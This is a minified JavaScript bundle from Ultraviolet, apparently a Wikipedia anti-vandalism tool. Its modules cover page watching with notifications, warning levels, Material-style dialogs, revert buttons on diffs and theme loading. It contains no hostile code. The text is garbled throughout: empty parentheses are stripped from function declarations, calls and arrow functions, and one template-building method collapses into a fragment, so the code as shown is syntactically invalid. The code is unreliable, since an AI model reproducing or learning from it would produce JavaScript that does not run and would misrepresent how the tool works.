0,(function*{a.recentPages.put({title:a.page.title.getPrefixedText,lastVisit:Date.now}),(yield a.recentPages.getAll).sort(((e,t)=>t.lastVisit-e.lastVisit)).slice(50).forEach((e=>a.recentPages.delete(e.title))),a.pages=(yield a.recentPages.getAll).sort(((e,t)=>t.lastVisit-e.lastVisit)).map((e=>e.title))}))}}t.RecentPages=a},9187:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MediaWikiURL=void 0;const i=n(655),r=(0,i.__importDefault)(n(7007)),o=(0,i.__importDefault)(n(9618));t.MediaWikiURL=class{static getHistoryUrl(e,t){return(0,o.default)(r.default.wikiIndex,{title:mw.util.wikiUrlencode(e),action:"history"},t)}static getDiffUrl(e,t,n){return(0,o.default)(r.default.wikiIndex,{diff:e,oldid:t,diffmode:"source"},n)}}},8476:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Watch=void 0;const i=n(655),r=(0,i.__importDefault)(n(9071)),o=(0,i.__importDefault)(n(7007)),a=(0,i.__importDefault)(n(9158)),s=(0,i.__importDefault)(n(1261)),l=n(7144),c=(0,i.__importDefault)(n(3410)),d=n(9187),u=n(8910),p=n(8428);class h{static get watchedPages{return r.default.i.watchedPages}static get page{return o.default.currentPage}static init{return(0,i.__awaiter)(this,void 0,void 0,(function*{(yield h.watchedPages.get(`${h.page.title}`))&&h.enable}))}static deinit{return(0,i.__awaiter)(this,void 0,void 0,(function*{h.active=!1}))}static toggle{return(0,i.__awaiter)(this,void 0,void 0,(function*{h.active?h.disable:h.enable}))}static enable{return(0,i.__awaiter)(this,void 0,void 0,(function*{"default"===Notification.permission&&(yield Notification.requestPermission),"denied"!==Notification.permission?(h.active=!0,(yield h.watchedPages.get(`${h.page.title}`))||(yield h.watchedPages.add({title:`${h.page.title}`})),document.documentElement.style.setProperty("--uv-icon-alertonchange-color","green"),a.default.Toast.quickShow({content:`${s.default.t("ui:watch.watching",{page:h.page.title.getPrefixedText})}`}),h.lastRevId=mw.config.get("wgCurRevisionId"),h.check,h.timeout=window.setTimeout(h.check,1e3)):a.default.Toast.quickShow({content:`${s.default.t("ui:watch.denied")}`})}))}static disable{return(0,i.__awaiter)(this,void 0,void 0,(function*{h.active=!1,(yield h.watchedPages.get(`${h.page.title}`))&&(yield h.watchedPages.delete(`${h.page.title}`)),document.documentElement.style.removeProperty("--uv-icon-alertonchange-color"),a.default.Toast.quickShow({content:`${s.default.t("ui:watch.stoppedWatching",{page:h.page.title.getPrefixedText})}`}),window.clearTimeout(h.timeout)}))}static check{var e,t,n,r;return(0,i.__awaiter)(this,void 0,void 0,(function*{if(!h.active)return window.clearTimeout(h.timeout);const i=yield l.MediaWikiAPI.get(Object.assign({action:"query",format:"json",prop:"revisions",titles:h.page.title.getPrefixedText,rvprop:"ids|timestamp|flags|comment|user",rvstartid:h.lastRevId+1,rvdir:"newer"},null==o.default.wikiLogo?{meta:"siteinfo"}:{})),a=(null!==(e=Object.values(i.query.pages)[0].revisions)&&void 0!==e?e:[]).filter((e=>e.revid!==h.lastRevId));if(null==o.default.wikiLogo&&(o.default.wikiLogo=new URL(null!==(r=null===(n=null===(t=i.query)||void 0===t?void 0:t.general)||void 0===n?void 0:n.logo)&&void 0!==r?r:p.APP_LOGO,window.location.href)),a.length>0){if(o.default.windowFocused)(0,c.default)(d.MediaWikiURL.getDiffUrl(a[0].revid));else{document.title=`${s.default.t("ui:watch.prefix")}${document.title}`;const e=new Notification(`${s.default.t("ui:watch.notification.title",{count:a.length,page:h.page.title.getPrefixedText})}`,{body:`${s.default.t("ui:watch.notification.header")}\n\n${s.default.t("ui:watch.notification.diff",{author:a[0].user,since:(0,u.formatAge)(new Date(a[0].timestamp)),comment:a[0].comment})}`,icon:o.default.wikiLogo.toString});document.addEventListener("focus",(=>{(0,c.default)(d.MediaWikiURL.getDiffUrl(a[0].revid))})),e.addEventListener("click",(=>{window.focus,e.close}))}window.clearTimeout(h.timeout)}else h.timeout=window.setTimeout(h.check,1e3)}))}}t.Watch=h,h.active=!1},680:(e,t)=>{"use strict";var n;Object.defineProperty(t,"__esModule",{value:!0}),t.WarningLevelComments=t.WarningLevel=void 0,function(e){e[e.None=0]="None",e[e.Notice=1]="Notice",e[e.Caution=2]="Caution",e[e.Warning=3]="Warning",e[e.Final=4]="Final",e[e.Immediate=5]="Immediate"}(n=t.WarningLevel||(t.WarningLevel={})),t.WarningLevelComments={[n.None]:{description:"Friendly reminder"},[n.Notice]:{description:"Assumes good faith"},[n.Caution]:{description:"No assumption of faith"},[n.Warning]:{description:"Assumes bad faith – cease and desist"},[n.Final]:{summary:"Final warning",description:"Bad faith, last warning."},[n.Immediate]:{alternative:"4im",summary:"Only warning",description:"Only warning – used for severe policy violations"}}},6695:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.warningSuffix=t.highestWarningLevel=void 0;const i=(0,n(655).__importDefault)(n(8939)),r=n(4802);t.highestWarningLevel=function(e){let t=r.WarningLevel.None;for(const[n,r]of Object.entries(i.default.c.warnings.signatures).sort(((e,t)=>+t[0]-+e[0])))if(+n>+t)e:for(const i of r)switch(i.type){case"includes":if(e.includes(i.substring)){t=+n;break e}break;case"regex":if(new RegExp(i.source,i.flags).test(e)){t=+n;break e}}return t},t.warningSuffix=function(e){switch(e){case null:case r.WarningLevel.None:return"";case r.WarningLevel.Notice:return"1";case r.WarningLevel.Caution:return"2";case r.WarningLevel.Warning:return"3";case r.WarningLevel.Final:return"4";case r.WarningLevel.Immediate:return"4im"}}},8141:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.WarningManager=t.deserializeWarning=t.isSerializedTieredWarning=t.SerializedWarningType=t.getWarningFieldVisibility=t.WarningType=void 0;const i=(0,n(655).__importDefault)(n(8939));var r;!function(e){e[e.Tiered=0]="Tiered",e[e.SingleIssue=1]="SingleIssue",e[e.PolicyViolation=2]="PolicyViolation"}(r=t.WarningType||(t.WarningType={})),t.getWarningFieldVisibility=function(e){var t;return"string"==typeof e?e:null!==(t=null==e?void 0:e.visibility)&&void 0!==t?t:"optional"},t.SerializedWarningType={tiered:r.Tiered,single:r.SingleIssue,policy:r.PolicyViolation},t.isSerializedTieredWarning=function(e){return null!=e.levels},t.deserializeWarning=function(e,t){return Object.assign({},e,{category:(null!=t?t:i.default.c.warnings.categories).find((t=>t.id===e.category)),type:"tiered"===e.type?r.Tiered:"single"===e.type?r.SingleIssue:r.PolicyViolation,summary:"object"==typeof e.summary?Object.fromEntries(Object.entries(e.summary).map((([e,t])=>[+e,t]))):e.summary},"tiered"===e.type?{levels:e.levels}:{})};class o{static get warnings{var e;return null!==(e=o._warnings)&&void 0!==e?e:o._warnings=i.default.c.warnings.warnings}static get warningCategories{var e;return null!==(e=o._warningCategories)&&void 0!==e?e:o._warningCategories=i.default.c.warnings.categories}static get warningCategoriesMap{var e;return null!==(e=o._warningCategoriesMap)&&void 0!==e?e:o._warningCategoriesMap=i.default.c.warnings.categories.reduce(((e,t)=>(e[t.id]=t,e)),{})}static get warningsByCategories{var e;return null!==(e=o._warningsByCategories)&&void 0!==e?e:o._warningsByCategories=Object.entries(o.warnings).reduce(((e,[t,n])=>(e[n.category.id]||(e[n.category.id]={}),e[n.category.id][t]=n,e)),{})}static get warningArrayByCategories{var e;return null!==(e=o._warningArrayByCategories)&&void 0!==e?e:o._warningArrayByCategories=Object.values(o.warnings).reduce(((e,t)=>(e[t.category.id]||(e[t.category.id]=[]),e[t.category.id].push(t),e)),{})}static refresh{o._warnings=o._warningCategories=o._warningCategoriesMap=o._warningsByCategories=o._warningArrayByCategories=null}}t.WarningManager=o},5673:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n={subst:!1,block:!1,forceParameterName:!1,compressionMinimum:2,removeEmpty:!1};class i{constructor(e,t){if(this.title=e,Array.isArray(t)){this.params={};for(let e=0;e<t.length;e++)this.params[e+1]=t[e]}else this.params=t}set(e,t){return this.params[e]=t,this}build(e={}){var t;const r=Object.assign({},n,e);let o=``,o}}t.default=i},9376:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getStyleMeta=t.StyleStorage=void 0;const i=(0,n(655).__importDefault)(n(1261));t.StyleStorage=class{},t.getStyleMeta=function(e){var t,n,r;return null!==(r=null!==(n=e.meta[null!==(t=i.default.language)&&void 0!==t?t:"en-US"])&&void 0!==n?n:e.meta["en-US"])&&void 0!==r?r:Object.values(e.meta)[0]}},4590:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.DefaultAppStyle=void 0,t.DefaultAppStyle="material"},3848:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(7327)),o=n(4568),a=n(4590),s=n(3769);class l{static get defaultStyle{return a.DefaultAppStyle}static get styles{return window.UltravioletStyles}static set styles(e){window.UltravioletStyles=e}static get activeStyle{return l._activeStyle}static initialize{return(0,i.__awaiter)(this,void 0,void 0,(function*{null==l.styles?l.styles=o.DefaultAppStyles:(l.styles.push(...o.DefaultAppStyles),l.cleanStyles),l._activeStyle=l.findStyle(l.defaultStyle),null==l._activeStyle?mw.notify("Ultraviolet styles loading failed. You might have loaded no styles at all."):l.ready=!0}))}static setStyle(e){const t=l.findStyle(e);if(null==t)throw new s.StyleMissingError({styleId:e});return t}static findStyle(e){var t;return null!==(t=l.styles.find((t=>t.name===e)))&&void 0!==t?t:null}static cleanStyles{let e=l.styles;for(const t of l.styles){if(null==t.name){mw.notify("Found unnamed style. Skipping.");continue}if(null==t.version){mw.notify("Found non-versioned style. Skipping.");continue}const n={};if(null==n[t.name])n[t.name]=t;else switch((0,r.default)(t.version,n[t.name].version)){case-1:mw.notify(`Older version of style "${t.name}" (${t.version}) found. Skipping.`);break;case 0:mw.notify(`Same version of style "${t.name}" (${t.version}). Make sure you're not loading a style twice.`);break;case 1:mw.notify(`Newer version of style "${t.name}" (${t.version}) found. Discarding old version (${n[t.name].version}).`),n[t.name]=t}e=Object.values(n)}l.styles=e}}t.default=l,l.ready=!1},4568:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.DefaultAppStyles=void 0;const i=(0,n(655).__importDefault)(n(1566));t.DefaultAppStyles=[i.default],t.default=window.UltravioletStyles},1566:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.registerMaterialDialog=t.upgradeMaterialDialog=t.upgradeMaterialDialogButtons=void 0;const i=n(655),r=n(1445),o=n(7933),a=(0,i.__importDefault)(n(4307)),s=n(3259),l=(0,i.__importDefault)(n(9549)),c=(0,i.__importDefault)(n(9507)),d=(0,i.__importDefault)(n(80)),u=(0,i.__importDefault)(n(974)),p=(0,i.__importDefault)(n(1483)),h=(0,i.__importDefault)(n(1450)),f=(0,i.__importDefault)(n(8818));n(7336);const g=(0,i.__importDefault)(n(5245)),m=(0,i.__importDefault)(n(7120)),v=(0,i.__importDefault)(n(8875)),A=(0,i.__importDefault)(n(8804)),y=(0,i.__importDefault)(n(3599)),_=(0,i.__importDefault)(n(3215)),b=(0,i.__importDefault)(n(3169)),I=(0,i.__importDefault)(n(1385)),C={name:"material",version:"1.0.0",meta:{"en-US":{displayName:"Material",author:["The Ultraviolet Development Team (10nm)","Google, Inc."],description:"Ultraviolet's default theme — the classic look-and-feel of RedWarn with several improvements. This is an implementation of Google's Material Design.",homepage:"https://en.wikipedia.org/wiki/WP:UV",repository:"https://gitlab.com/redwarn/ultraviolet",issues:"https://gitlab.com/redwarn/ultraviolet/-/issues"}},dependencies:[{type:"style",id:"mdc-styles-13",src:"https://tools-static.wmflabs.org/cdnjs/ajax/libs/material-components-web/13.0.0/material-components-web.min.css",cache:{delayedReload:!0,duration:12096e5}},{type:"style",id:"roboto",src:"https://tools-static.wmflabs.org/fontcdn/css?family=Roboto:100,100italic,300,300italic,400,400italic,500,500italic,700,700italic,900,900italic&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin,latin-ext,vietnamese",cache:{delayedReload:!0,duration:12096e5}}],storage:new s.MaterialStyleStorage,classMap:{uvAlertDialog:l.default,uvInputDialog:c.default,uvSelectionDialog:d.default,uvWarnDialog:u.default,uvProtectionRequestDialog:v.default,uvIFrameDialog:f.default,uvToast:p.default,uvDiffIcons:h.default,uvPageIcons:g.default,uvExtendedOptions:m.default,uvReportingDialog:A.default,uvPreferences:_.default,uvPreferencesTab:b.default,uvPreferencesItem:I.default},hooks:{preInit:[a.default]}};function E(e){e.element.querySelectorAll("button").forEach((e=>new o.MDCRipple(e).initialize))}function T(e){(0,s.getMaterialStorage).dialogTracker.set(e.id,e),document.body.appendChild(e.render)}t.default=C,t.upgradeMaterialDialogButtons=E,t.upgradeMaterialDialog=function(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{const n=(0,s.getMaterialStorage);T(e),E(e);const o=new r.MDCDialog(e.element),[a,l]=(0,y.default);return o.listen("MDCDialog:closed",(r=>(0,i.__awaiter)(this,void 0,void 0,(function*{var i;(null==t?void 0:t.onClose)&&(e.result=yield t.onClose(r)),n.dialogTracker.delete(e.id),l(null!==(i=e.result)&&void 0!==i?i:null)})))),o.initialize,o.open,(null==t?void 0:t.onPostInit)&&(yield t.onPostInit(o)),e.dialog=Object.assign(o,{wait:=>a}),e.dialog}))},t.registerMaterialDialog=T},3259:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getMaterialStorage=t.MaterialStyleStorage=t.MaterialDialogTrackMap=void 0;const i=(0,n(655).__importDefault)(n(7007)),r=n(9376);class o extends Map{domRemove(e){const t=(n=0)=>{const i=this.get(e).element;!i.classList.contains("mdc-dialog--open")||n>=100?i.parentElement.removeChild(i):setTimeout((=>{t(n++)}),10)};setTimeout(t,2e3)}delete(e){return setTimeout((=>{var t,n;null===(n=null===(t=document.getElementById(e))||void 0===t?void 0:t.parentElement)||void 0===n||n.removeChild(document.getElementById(e))}),2e3),super.delete(e)}}t.MaterialDialogTrackMap=o;class a extends r.StyleStorage{constructor{super(...arguments),this.dialogTracker=new o,this.toastQueue=[],this.intervals=[]}}t.MaterialStyleStorage=a,t.getMaterialStorage=function{var e;return null!==(e=i.default.styleStorage)&&void 0!==e?e:i.default.styleStorage=new a}},9381:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.WarningIcons=void 0;const i=n(4802);t.WarningIcons={[i.WarningLevel.None]:{icon:"check_circle",iconColor:"green"},[i.WarningLevel.Notice]:{icon:"info",iconColor:"blue"},[i.WarningLevel.Caution]:{icon:"announcement",iconColor:"orange"},[i.WarningLevel.Warning]:{icon:"warning",iconColor:"red"},[i.WarningLevel.Final]:{icon:"report",iconColor:"darkred"},[i.WarningLevel.Immediate]:{icon:"new_releases",iconColor:"darkred"}}},4307:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(7007)),o=n(3259),a=n(830),s=(0,i.__importDefault)(n(5504)),l=(0,i.__importDefault)(n(3568)),c=(0,i.__importDefault)(n(4236));t.default=function{const e=r.default.styleStorage=new o.MaterialStyleStorage;s.default.debug("Starting MutationObserver..."),e.mutationObserver=new MutationObserver((=>{document.querySelectorAll("[data-uv-mdc-tooltip]:not(.uv-mdc-tooltip__upgraded)").forEach((e=>{e.classList.add("uv-mdc-tooltip__upgraded"),e.insertAdjacentElement("afterend",(0,a.h)(l.default,{target:e},e.getAttribute("data-uv-mdc-tooltip")))})),document.querySelectorAll("[data-uv-mdc-dialog-draggable]:not(.data-uv-mdc-dialog-draggable__upgraded)").forEach((e=>{e.classList.add("data-uv-mdc-dialog-draggable__upgraded");const t=e.querySelector(".mdc-dialog__scrim");t.style.pointerEvents="none",t.style.opacity="0.5";const n=e.querySelector(".mdc-dialog__surface");e.style.pointerEvents="none",n.style.pointerEvents="all";const i=e.querySelector(".mdc-dialog__title");i.style.userSelect="none",n.style.position="relative",n.style.top="var(--uv-mdc-dialog-draggable--top)",n.style.left="var(--uv-mdc-dialog-draggable--left)",e.setAttribute("data-x","0"),e.setAttribute("data-y","0");const r==>{e.setAttribute("style",(0,c.default)({"--uv-mdc-dialog-draggable--top":-e.getAttribute("data-y")+"px","--uv-mdc-dialog-draggable--left":-e.getAttribute("data-x")+"px"}))};r,i.style.cursor="move",i.addEventListener("mousedown",(e=>{i.toggleAttribute("data-dragging",!0),i.setAttribute("data-drag-x",`${e.clientX}`),i.setAttribute("data-drag-y",`${e.clientY}`)})),i.addEventListener("mouseup",(=>{i.toggleAttribute("data-dragging",!1)})),document.addEventListener("mousemove",(t=>{if(!i.hasAttribute("data-dragging"))return;const n=+i.getAttribute("data-drag-x"),o=+i.getAttribute("data-drag-y"),a=n-t.clientX,s=o-t.clientY;e.setAttribute("data-x",`${+e.getAttribute("data-x")+a}`),e.setAttribute("data-y",`${+e.getAttribute("data-y")+s}`),r,i.setAttribute("data-drag-x",`${t.clientX}`),i.setAttribute("data-drag-y",`${t.clientY}`)}))}))})),e.mutationObserver.observe(document.body,{childList:!0,subtree:!0}),s.default.debug("MutationObserver stared."),e.intervals.push(setInterval((=>{document.querySelectorAll(".mdc-tooltip").forEach((e=>{null==document.querySelector(`[data-tooltip-id="${e.id}"]`)&&e.parentElement.removeChild(e)}))}),5e3))}},9549:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=n(2273),a=n(1566),s=(0,i.__importDefault)(n(6359)),l=(0,i.__importStar)(n(604));class c extends o.UVUIAlertDialog{show{return(0,a.upgradeMaterialDialog)(this,{onClose:e=>(0,i.__awaiter)(this,void 0,void 0,(function*{var t;const n=this.props.actions.find((t=>t.data===e.detail.action));return null!=n&&n.action&&null!==(t=yield n.action(e))&&void 0!==t?t:e.detail.action}))}).then((e=>e.wait))}renderActions{var e;const t=[];for(const n of this.props.actions)t.push((0,r.h)(s.default,{dialogAction:null==n.text?n.data:{data:n.data,text:n.text}},null!==(e=n.text)&&void 0!==e?e:n.data));return t}render{var e,t;return this.element=(0,r.h)(l.default,{surfaceProperties:{style:`width: ${null!==(e=this.props.width)&&void 0!==e?e:"30vw"};`,"aria-modal":!0,"aria-labelledby":null!==(t=this.props.title)&&void 0!==t?t:"Ultraviolet dialog"},id:this.id},this.props.title&&(0,r.h)(l.MaterialDialogTitle,null,this.props.title),this.props.content&&(0,r.h)(l.MaterialDialogContent,null,this.props.content),this.props.preformattedContent&&(0,r.h)("pre",null,this.props.preformattedContent),(0,r.h)(l.MaterialDialogActions,null,this.renderActions)),this.element}}t.default=c},604:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialDialogActions=t.MaterialDialogContent=t.MaterialDialogTitle=void 0;const i=n(830);t.default=function({containerProperties:e,surfaceProperties:t,children:n,id:r,draggable:o}){var a,s;return(0,i.h)("div",{id:r,class:"mdc-dialog","data-uv-mdc-dialog-draggable":o},(0,i.h)("div",Object.assign({},e,{class:`mdc-dialog__container ${null!==(a=null==e?void 0:e.class)&&void 0!==a?a:""}`}),(0,i.h)("div",Object.assign({},t,{class:`mdc-dialog__surface ${null!==(s=null==t?void 0:t.class)&&void 0!==s?s:""}`}),n)),(0,i.h)("div",{class:"mdc-dialog__scrim"}))},t.MaterialDialogTitle=function({children:e,style:t,tabIndex:n}){return(0,i.h)("h2",{class:"mdc-dialog__title",style:t,tabIndex:n},e)},t.MaterialDialogContent=function({children:e,style:t}){return(0,i.h)("div",{class:"mdc-dialog__content",style:t},e)},t.MaterialDialogActions=function({children:e,style:t}){return(0,i.h)("div",{class:"mdc-dialog__actions",style:t},e)}},1450:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialHighContrastActionSeverityColors=t.MaterialActionSeverityColors=t.getRevertOptionClickHandler=void 0;const i=n(655),r=n(830),o=n(4989),a=n(4802),s=(0,i.__importStar)(n(2622)),l=n(6341);n(233);const c=(0,i.__importDefault)(n(1261)),d=n(6535),u=(0,i.__importDefault)(n(323)),p=(0,i.__importDefault)(n(5504)),h=n(9052),f=n(2223);function g(e,t){const n=e.context;switch(t.actionType){case"custom":return=>{p.default.trace("custom RevertOption selected.",t),t.action(n)};case"revert":return=>{p.default.trace("revert RevertOption selected.",t),e.selectedReason=t,a.Revert.revert(Object.assign(n,{reason:t,targetRevision:n.oldRevision===n.latestRevision?n.oldRevision:n.newRevision}))};case"promptedRevert":return=>{p.default.trace("promptedRevert RevertOption selected.",t),a.Revert.promptRollback(Object.assign(n,{targetRevision:n.oldRevision===n.latestRevision?n.oldRevision:n.newRevision}),{diffIcons:n.diffIcons,defaultText:t.defaultSummary})};case"promptedRestore":return=>{p.default.trace("promptedRestore RevertOption selected.",t),a.Revert.promptRestore("new"===n.side||n.oldRevision===n.latestRevision?n.newRevision:n.oldRevision,{diffIcons:n.diffIcons,defaultText:t.defaultSummary})}}}t.getRevertOptionClickHandler=g;const m={[a.RevertStage.Preparing]:0,[a.RestoreStage.Preparing]:0,[a.RevertStage.Details]:1/3,[a.RestoreStage.Details]:1/3,[a.RevertStage.Revert]:2/3,[a.RestoreStage.Restore]:2/3,[a.RevertStage.Finished]:1,[a.RestoreStage.Finished]:1};t.MaterialActionSeverityColors={[s.ActionSeverity.Neutral]:"black",[s.ActionSeverity.GoodFaith]:"green",[s.ActionSeverity.Mild]:"blue",[s.ActionSeverity.Moderate]:"gold",[s.ActionSeverity.Severe]:"orange",[s.ActionSeverity.Critical]:"red"},t.MaterialHighContrastActionSeverityColors={[s.ActionSeverity.Neutral]:"black",[s.ActionSeverity.GoodFaith]:"blue",[s.ActionSeverity.Mild]:"blue",[s.ActionSeverity.Moderate]:"red",[s.ActionSeverity.Severe]:"red",[s.ActionSeverity.Critical]:"red"};class v extends o.UVUIDiffIcons{constructor(e){super(e),Object.assign(this,e)}get context{return this._context={latestRevision:this.latestRevision,newRevision:this.newRevision,oldRevision:this.oldRevision,side:this.side,diffIcons:this},this._context}renderRestoreIcon{return(0,r.h)("div",{class:"uv-mdc-diffIcons-options"},(0,r.h)(u.default,{label:"Restore this revision",icon:"history",iconColor:"purple",onClick:=>{a.Revert.promptRestore("new"===this.side?this.newRevision:this.oldRevision,{diffIcons:this})}}))}renderRevertIcons{var e;const n=[];for(const i of Object.values(s.default.all))(i.enabled||i.system)&&n.push((0,r.h)(u.default,{label:i.name,icon:i.icon,iconColor:(null!==(e=i.color)&&void 0!==e?e:h.Configuration.Accessibility.highContrast.value)?t.MaterialHighContrastActionSeverityColors[i.severity]:t.MaterialActionSeverityColors[i.severity],"data-uv-revert-option":i.id}));return(0,r.h)("div",{class:"uv-mdc-diffIcons-options"},n)}renderProgressBar{let e,t;const n=(0,r.h)("div",{class:"uv-mdc-diffIcons-progressBar"},(0,r.h)("div",{class:"uv-mdc-diffIcons-progressBar-content"},e=(0,r.h)("div",{role:"progressbar",class:"mdc-linear-progress","aria-label":"Revert progress","aria-valuemin":"0","aria-valuemax":"1","aria-valuenow":"0"},(0,r.h)("div",{class:"mdc-linear-progress__buffering-dots"}),(0,r.h)("div",{class:"mdc-linear-progress__buffer"}),(0,r.h)("div",{class:"mdc-linear-progress__bar mdc-linear-progress__primary-bar"},(0,r.h)("span",{class:"mdc-linear-progress__bar-inner"})),(0,r.h)("div",{class:"mdc-linear-progress__bar mdc-linear-progress__secondary-bar"},(0,r.h)("span",{class:"mdc-linear-progress__bar-inner"}))),t=(0,r.h)("div",null,"Reverting changes...")));return this.progressBar={element:n,progress:new l.MDCLinearProgress(e),progressElement:e,progressLabel:t},n}renderRevertDoneOptions{const e=[];for(const t of(0,d.RevertDoneOptions))(this.isLatestIcons||!this.isLatestIcons&&t.showOnRestore)&&e.push((0,r.h)(u.default,{label:t.name,icon:t.icon,iconColor:"black",onClick:=>{var e;return t.action(Object.assign(this.context,{reason:null!==(e=this.context.reason)&&void 0!==e?e:this.selectedReason}))}}));return(0,r.h)("div",{class:"uv-mdc-diffIcons-doneOptions"},(0,r.h)("div",null,e),this.finishMessageElement=(0,r.h)("div",null,c.default.t("ui:diff.progress.finish")))}render{return this.self=(0,r.h)("div",{class:"uv-mdc-diffIcons"},this.isLatestIcons?this.renderRevertIcons:this.renderRestoreIcon,this.renderProgressBar,this.renderRevertDoneOptions),this.self.querySelectorAll("[data-uv-revert-option]").forEach((e=>{e.addEventListener("click",g(this,s.default.all[e.getAttribute("data-uv-revert-option")]))})),this.self}onStartRevert(e){Object.assign(this.context,e),this.self.classList.toggle("uv-mdc-diffIcons--reverting",!0)}onRevertStageChange(e){var t,n;if((null===(t=this.progressBar)||void 0===t?void 0:t.progress)&&(this.progressBar.progress.progress=m[e]),null===(n=this.progressBar)||void 0===n?void 0:n.progressLabel){const t={[a.RevertStage.Preparing]:c.default.t("ui:diff.progress.prepare"),[a.RevertStage.Details]:c.default.t("ui:diff.progress.details"),[a.RevertStage.Revert]:c.default.t("ui:diff.progress.revert",{context:h.Configuration.Revert.revertMethod.value===f.RevertMethod.Rollback?"rollback":void 0}),[a.RevertStage.Finished]:c.default.t("ui:diff.progress.prepare")};this.progressBar.progressLabel.innerText=t[e]}}onEndRevert{this.self.classList.toggle("uv-mdc-diffIcons--reverting",!1),this.self.classList.toggle("uv-mdc-diffIcons--finished",!0)}onRevertFailure{this.self.classList.toggle("uv-mdc-diffIcons--reverting",!1),this.self.classList.toggle("uv-mdc-diffIcons--finished",!1)}onStartRestore{this.self.classList.toggle("uv-mdc-diffIcons--reverting",!0)}onRestoreStageChange(e){var t,n;if((null===(t=this.progressBar)||void 0===t?void 0:t.progress)&&(this.progressBar.progress.progress=m[e]),null===(n=this.progressBar)||void 0===n?void 0:n.progressLabel){const t={[a.RestoreStage.Preparing]:c.default.t("ui:diff.progress.prepare"),[a.RestoreStage.Details]:c.default.t("ui:diff.progress.details"),[a.RestoreStage.Restore]:c.default.t("ui:diff.progress.restore"),[a.RestoreStage.Finished]:c.default.t("ui:diff.progress.prepare")};this.progressBar.progressLabel.innerText=t[e]}}onEndRestore(e){this.self.classList.toggle("uv-mdc-diffIcons--reverting",!1),this.self.classList.toggle("uv-mdc-diffIcons--finished",!0),this.finishMessageElement.innerText=c.default.t("ui:diff.progress.finish",{context:e.edit.nochange?"nochange":void 0})}onRestoreFailure{this.self.classList.toggle("uv-mdc-diffIcons--reverting",!1),this.self.classList.toggle("uv-mdc-diffIcons--finished",!1)}}t.default=v},7120:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(8382),o=n(1566),a=(0,i.__importStar)(n(604)),s=n(830),l=(0,i.__importDefault)(n(1261)),c=(0,i.__importDefault)(n(6359)),d=n(6968),u=(0,i.__importDefault)(n(4250));n(414);const p=(0,i.__importDefault)(n(4236)),h=n(9052),f=(0,i.__importDefault)(n(2622)),g=(0,i.__importStar)(n(1450)),m=n(4802),v=(0,i.__importDefault)(n(5147));class A extends r.UVUIExtendedOptions{show{return(0,o.upgradeMaterialDialog)(this).then((e=>e.wait))}renderOptions{var e,t;const n=[],i=v.default.i.diffViewerInjector.latestDiffIcons;if((null!==(e=this.props.showDiffIcons)&&void 0!==e?e:m.Revert.isDiffPage)&&i instanceof g.default){n.push((0,s.h)(d.MaterialListSubheader,null,l.default.t("ui:extendedOptions.extraRevertOptions")));for(const e of Object.values(f.default.loaded)){if(e.enabled)continue;const r=((null!==(t=e.color)&&void 0!==t?t:h.Configuration.Accessibility.highContrast.value)?g.MaterialHighContrastActionSeverityColors[e.severity]:g.MaterialActionSeverityColors[e.severity])||"black",o=(0,s.h)(d.MaterialListItem,{icon:e.icon,color:r,iconColor:r},e.name);n.push(o),o.addEventListener("click",(=>{(0,g.getRevertOptionClickHandler)(i,e),this.closeButton.click}))}n.push((0,s.h)(d.MaterialListDivider,null))}return(0,u.default).forEach((e=>{var t,i,r,o,a;!(null!==(r=null===(i=null===(t=h.Configuration.UI.pageIcons.value)||void 0===t?void 0:t[e.id])||void 0===i?void 0:i.enabled)&&void 0!==r?r:e.default)&&e.visible&&n.push((0,s.h)(d.MaterialListItem,{icon:e.icon,color:null!==(o=e.color)&&void 0!==o?o:"black",onClick:e.action},`${null!==(a=e.name)&&void 0!==a?a:l.default.t(`ui:pageIcons.${e.id}`)}`))})),n}render{return this.element=(0,s.h)(a.default,{id:this.id,surfaceProperties:{style:"min-width: 35vw;"},containerProperties:{class:"uv-mdc-extendedOptions"}},(0,s.h)(a.MaterialDialogTitle,{tabIndex:0},(0,s.h)("span",{style:(0,p.default)({fontWeight:"bold"})},l.default.t("ui:extendedOptions.title"))),(0,s.h)(a.MaterialDialogContent,null,(0,s.h)(d.MaterialList,null,...this.renderOptions)),(0,s.h)(a.MaterialDialogActions,null,this.closeButton=(0,s.h)(c.default,{dialogAction:"close"},l.default.t("ui:close"))))}}t.default=A},8818:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=n(3844),a=n(1566),s=(0,i.__importDefault)(n(6359)),l=(0,i.__importStar)(n(604)),c=(0,i.__importDefault)(n(1261)),d=(0,i.__importDefault)(n(5609));n(6540);const u=n(8910),p=(0,i.__importDefault)(n(9158));class h extends o.UVUIIFrameDialog{show{return(0,a.upgradeMaterialDialog)(this).then((e=>e.wait))}renderActions{var e;const t=[];for(const n of this.props.actions)t.push((0,r.h)(s.default,{dialogAction:null==n.text?n.data:{data:n.data,text:n.text}},null!==(e=n.text)&&void 0!==e?e:n.data));return t}render{var e,t,n,o;let a;this.element=(0,r.h)(l.default,{surfaceProperties:{class:"mdc-dialog__surface uv-mdc-iframeDialog",style:`width:${null!==(e=this.props.width)&&void 